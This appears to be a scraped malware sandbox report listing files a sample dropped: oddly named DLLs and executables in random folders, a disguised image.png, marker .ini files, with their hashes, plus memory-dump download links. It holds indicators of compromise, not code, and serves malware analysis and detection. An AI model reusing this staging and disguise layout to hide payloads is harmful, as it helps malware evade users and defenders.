SSDEEP 98304:S/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:SMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T15136334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\zi1qvK\XPSPLOG.dll
Size 4.6MB
SHA256 f2e51150dd42fc599fa6113e13ab7b565b7f53d86b53c2ff57cbf20f35e18318
MD5 08d7c9d77c170aa4c674f120f928c95e
SHA1 de6c1908321560f0d969a70097f8500cba938b34
SHA512 3c99482bd1493c0b2002fbff9edf064f7b5681b0d92d8a96de319d2cac080c8cb05a68ab7fd6315f7728e8bfc89d40d8a2d8527e04589730a04a605731f5aae0
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyI:BMWKfU+BcUTHCCCfqCiUffnI
TLSH
T1C8263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\zi1qvK\XPSPLOG.dll
Size 960KB
SHA256 53f5b963a8293b0fe22635499d937a2ad08ea5e8bcbf55d0a375211c4f5c7fff
MD5 e1ec9ca66583da96110768a46276433a
SHA1 193671ceec4d12fef0c5866dbec2f13a68f3f840
SHA512 4166637cba0c499fa03287bfec0e545ce080d4a97feef3c19755a48ade9b1b59cc4a937bf672a8b2de2d61579df007e773197345d83383305fb9a296ecb8955f
SSDEEP 24576:RTOuWhLK5RyoT9xcjWByWfymm5LQMqKJoX:3KLKP3cCMWmRqKJ4
TLSH
T1522523D76186612AFA4673716F8CFE7CB0B998D401BADD1DE8D535870072AFA503838E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f87okC.exe

Path C:\Program Files (x86)\zi1qvK\f87okC.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\zi1qvK\image.png
Size 4.8MB
SHA256 a153505f5d2160b170b659a8e01caa7fe489f82c50a0f57e6f1b0bf92b5a71ca
MD5 3aa17ef65a081bfe644e23a322071769
SHA1 afb363935f8fd7b6e40e06c59fa6ae5b20c15678
SHA512 04ee9f75a1baa6e87ae8dc3989edf0b2f35f4db997136f457e05562db17732acec2a50f76c9d2c0c82558502601c2af0cc0962826aa07494cc795c054dd9f565
SSDEEP 98304:k/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:kMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13F36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\zi1qvK\thumbs.db
Size 358KB
SHA256 7e5dbd6ed73a5671a9e46f081de22db9ed530661eebd0afa1a1bdd198a41ce68
MD5 2415028dc4e3aaec6b7a27336d8d9ac2
SHA1 7543e8a59e36d78e31c25b25f1fc55ac217cba5e
SHA512 9550619e2a77dc85534224ae3b16d16be469b8c2078f1b51136624bb6072f7dabecde7631a60d3f7764655fa056486b2040864072dae6438759500ff3221bd32
SSDEEP 6144:GiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:J8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T19974F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 5713e1815750846888e4d18a6a2add86a1ac967465e7865c0e2562b418926385
MD5 8075e9786f2bd028b1b3bd43458d1527
SHA1 9af2eda8b7ce06c9bb31b8cb925d4800227f0dd1
SHA512 436b7062bc8102b7f6582bfb7b44e419b86c1ff26a209285a825dd8e893b4899c9351296817763a09a68e8a9eadb1503412278b0d367dea66f4da7c19a2ee5e0
TLSH
T14431A4AB2BAD2D879F378E8511CBE5252CF5D2805CDA0859A204C4686F083B11F8E50D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 9ac77624cee186ddec41267ccb4764f5e4feb4db1b8810d8297cf27981fa6755
MD5 cfb19b690be5760f184b3b5cb32ec146
SHA1 54cb0971acbc344379f84111ea87c3f7dbdb635f
SHA512 0d21102b4eca9f381ae2cc08a554309823adf5ca2319a38b26b87a9dcf592ee53def38d0a8067a3a41d6d4cd051f5bfea61bd90c2451af8cf5ce1a2f1cef6a0a
TLSH
T1A331B6668B7D0186AB1C8F25A6C0D12B6DF5622858A85846273FC16F5A09BB75F82048
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 b4c5c78445a3b75c4e4b4cf20b69bb2c21aa0a242964721bce65c3c94b7d1949
MD5 0f86edc7c21846fcb797310c901209dd
SHA1 fff9ed80819e09fc669aae5bfe1f2f0d3ebd4b92
SHA512 7f8e1655b75f021a4b7c58c8832309b949cffcec4483ae69ac4e35aa7a93a9c5dc494165b5201248647386bc54c338f1f669956ade4a41047a983578b3d80a75
TLSH
T1D9F05C2C297C412DF036D9788BC939D7097FF605240A41E54EE15748EA42A0B7D53679
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 1567d2f96eee55c6fd0dd6f49640757683c3ac2179e1f036fb3b5a3c7a8f0080
MD5 05bf313a4a6e2b77dedaa48343fc8aa2
SHA1 afa4d94970f1ab82bb73c30045006671516723f8
SHA512 4b21a8f4c45d8267ef4a1eae5a00c444389dff243c652cfc142866982c1cea6a0d309b5f15c4a6da290950e5e39b7c86057840b796acf0ca61f517e4285c5b44
TLSH
T130F05C3E85D9811BF1BBA6B88AC6B6F15D66E233104B25FE696512445E91D000CC177C
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b06d6cc220a69db413b3780902cb8cb7cc014560ceceb7d8b026798449591f4d
MD5 d1401aec78cf12db2cf653e9ddff7566
SHA1 a73e7532b522cf5a380deb5db8a2a2150c3a5ce3
SHA512 2a1e37b2f16dbd382489150bf0d320973251b2f80110658dd99e66ba4072c5e723cdf6d4b13b7c81400cef358f7e7560b00ae46dfa129b784bb884c4ca2972d7
TLSH
T145216833F3DD8654C89A413A10CEAC5036B7C7DB40DECEEB6B84D559A42F699CF611A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jolv5tpe.erk.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jolv5tpe.erk.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\Nzs9QA\UxEnhance64.dll
Size 3.1MB
SHA256 96f8314f4d2eea2989ff7dfd2f1580d5defd6ecdf314465eea1538da90321086
MD5 0f5be03cc058df2197da2d3a75d70f7f
SHA1 0e80d968d6b3f3a5569f4c9c5a01885682f8c932
SHA512 0847ba7eb0009b2287da2b43180d023be3047e30e497f393acf0da34f37e2a988bbf80190e0d37a4d002c8d1e8f83ef0e9e3f956a4bc21207b3839f12d84040c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+r:P9m29xx3Tiqt06ox6+z2rNNrKor
TLSH
T104E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\Nzs9QA\adoresd.dat
Size 4.8MB
SHA256 91129cfddc9885b2d8242522062c49bf42c35931785e1f109054c1efb3c30041
MD5 09d2bec7188ba28a5b63defdb5c336ba
SHA1 8975eba116ab031f04cacead23e237f79e47564f
SHA512 da9607de701dab6897cc77d7e0d20764f53d2b5f40adb8eef00bd22335500f8987a1dc3fea76bf51be6fe57c8a1488e0007fa77a0b48f0dcc53e0310ab8a40ec
SSDEEP 98304:DWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:DWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1103633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\Nzs9QA\msadox.tb
Size 8KB
SHA256 6da079e81fb3af47bd408be490d9a2ba165ba7b6fc23f25fc181c4446f76346f
MD5 1d9ddcfaa3c19687b39045bc18fa9d6d
SHA1 53230018ab7611c5bc3c8f54b8d0f368d804751f
SHA512 8293f6b17c744f446a317d74367d50b53bdb2b73ded4cb8d4fd5241d150cbceaed8e6619f2ec71bad3266dfc38e721891c0bc37238f20a270c9e5cdd536b831f
SSDEEP 192:7qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:7sZqZOXQ3uqvR2Kfzp
TLSH
T110029E05D7A20CC3E2116C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

srp2bE.exe

Path C:\Users\Public\Nzs9QA\srp2bE.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1228-797-0x0000000007630000-0x0000000007CAC000-memory.dmp

Download

memory/1228-801-0x00000000071D0000-0x00000000071E1000-memory.dmp

Download

memory/1228-789-0x00000000061E0000-0x000000000622C000-memory.dmp

Download

memory/1228-786-0x00000000058E0000-0x0000000005C3B000-memory.dmp

Download

memory/1228-760-0x00000000027C0000-0x00000000027F6000-memory.dmp

Download

memory/1228-761-0x0000000004F70000-0x00000000055BA000-memory.dmp

Download

memory/1228-788-0x0000000005C80000-0x0000000005C9E000-memory.dmp

Download

memory/1228-780-0x00000000056B0000-0x0000000005716000-memory.dmp

Download

memory/1228-779-0x0000000005870000-0x00000000058D6000-memory.dmp

Download

memory/1228-791-0x0000000006CC0000-0x0000000006CF6000-memory.dmp

Download

memory/1228-792-0x0000000073BC0000-0x0000000073C0C000-memory.dmp

Download

memory/1228-795-0x0000000006170000-0x0000000006190000-memory.dmp

Download

memory/1228-796-0x0000000006F00000-0x0000000006FA3000-memory.dmp

Download

memory/1228-800-0x0000000007250000-0x00000000072E6000-memory.dmp

Download

memory/1228-799-0x0000000007050000-0x000000000705A000-memory.dmp

Download

memory/1228-798-0x0000000006FE0000-0x0000000006FFA000-memory.dmp

Download

memory/1228-777-0x00000000055F0000-0x0000000005612000-memory.dmp

Download

memory/1444-574-0x00007FF97B790000-0x00007FF97BCAE000-memory.dmp

Download

memory/1444-589-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/1444-588-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/1444-590-0x00007FF99C470000-0x00007FF99C472000-memory.dmp

Download

memory/1444-587-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/1444-582-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/1444-581-0x00007FF99C480000-0x00007FF99C482000-memory.dmp

Download

memory/1444-586-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/1444-579-0x0000019828510000-0x0000019828DE7000-memory.dmp

Download

memory/3228-524-0x00007FF991AB0000-0x00007FF991AC2000-memory.dmp

Download

memory/3228-523-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/3228-0-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/3228-503-0x00007FF991AB0000-0x00007FF991AC2000-memory.dmp

Download

memory/3228-1-0x0000000002060000-0x000000000206C000-memory.dmp

Download

memory/3420-770-0x00000000734C0000-0x0000000073C0A000-memory.dmp

Download

memory/3420-769-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

Download

memory/3420-781-0x0000000000E50000-0x0000000000E51000-memory.dmp

Download

memory/3420-774-0x0000000003510000-0x0000000003CED000-memory.dmp

Download

memory/3420-782-0x0000000003510000-0x0000000003CED000-memory.dmp

Download

memory/3420-785-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

Download

memory/4060-680-0x0000000001390000-0x0000000001391000-memory.dmp

Download

memory/4060-692-0x00000000016A0000-0x00000000016B4000-memory.dmp

Download

memory/4060-685-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4060-673-0x0000000001370000-0x0000000001371000-memory.dmp

Download

memory/4060-765-0x00000000059D0000-0x0000000005A0D000-memory.dmp

Download

memory/4060-727-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/4060-674-0x0000000074D80000-0x00000000754CA000-memory.dmp

Download

memory/4060-762-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4060-678-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4060-681-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4060-732-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4060-706-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/4144-740-0x0000000000980000-0x0000000000981000-memory.dmp

Download

memory/4144-716-0x0000000074D80000-0x00000000754CA000-memory.dmp

Download

memory/4144-744-0x0000000000960000-0x0000000000961000-memory.dmp

Download

memory/4144-741-0x0000000002E10000-0x00000000035ED000-memory.dmp

Download

memory/4144-725-0x0000000002E10000-0x00000000035ED000-memory.dmp

Download

memory/4144-715-0x0000000000960000-0x0000000000961000-memory.dmp

Download

memory/4728-807-0x0000000000E10000-0x0000000000E11000-memory.dmp

Download

memory/4776-730-0x00000000032A0000-0x0000000003A7D000-memory.dmp

Download

memory/4776-746-0x00000000032A0000-0x0000000003A7D000-memory.dmp

Download

memory/4776-749-0x0000000000E10000-0x0000000000E11000-memory.dmp

Download

memory/4776-721-0x0000000000E10000-0x0000000000E11000-memory.dmp

Download

memory/4776-722-0x0000000074D80000-0x00000000754CA000-memory.dmp

Download

memory/4776-745-0x0000000000E30000-0x0000000000E31000-memory.dmp

Download

memory/5008-604-0x000002D17A8B0000-0x000002D17A8BA000-memory.dmp

Download

memory/5008-603-0x000002D17A8E0000-0x000002D17A992000-memory.dmp

Download

memory/5008-602-0x000002D17A8C0000-0x000002D17A8DE000-memory.dmp

Download

memory/5008-597-0x000002D17A870000-0x000002D17A892000-memory.dmp

Download

memory/5100-565-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-538-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-563-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-560-0x00000229A1E20000-0x00000229A1EAA000-memory.dmp

Download

memory/5100-558-0x00000229A1E20000-0x00000229A1EAA000-memory.dmp

Download

memory/5100-559-0x00000229A1E20000-0x00000229A1EAA000-memory.dmp

Download

memory/5100-561-0x00000229A1E20000-0x00000229A1EAA000-memory.dmp

Download

memory/5100-555-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-549-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-557-0x00000229A1D40000-0x00000229A1D8E000-memory.dmp

Download

memory/5100-544-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-545-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-543-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-542-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-537-0x00007FF99C480000-0x00007FF99C482000-memory.dmp

Download

memory/5100-535-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download

memory/5100-530-0x00007FF97B790000-0x00007FF97BCAE000-memory.dmp

Download

memory/5100-529-0x00007FF99C470000-0x00007FF99C472000-memory.dmp

Download

memory/5100-566-0x00000229A1050000-0x00000229A1927000-memory.dmp

Download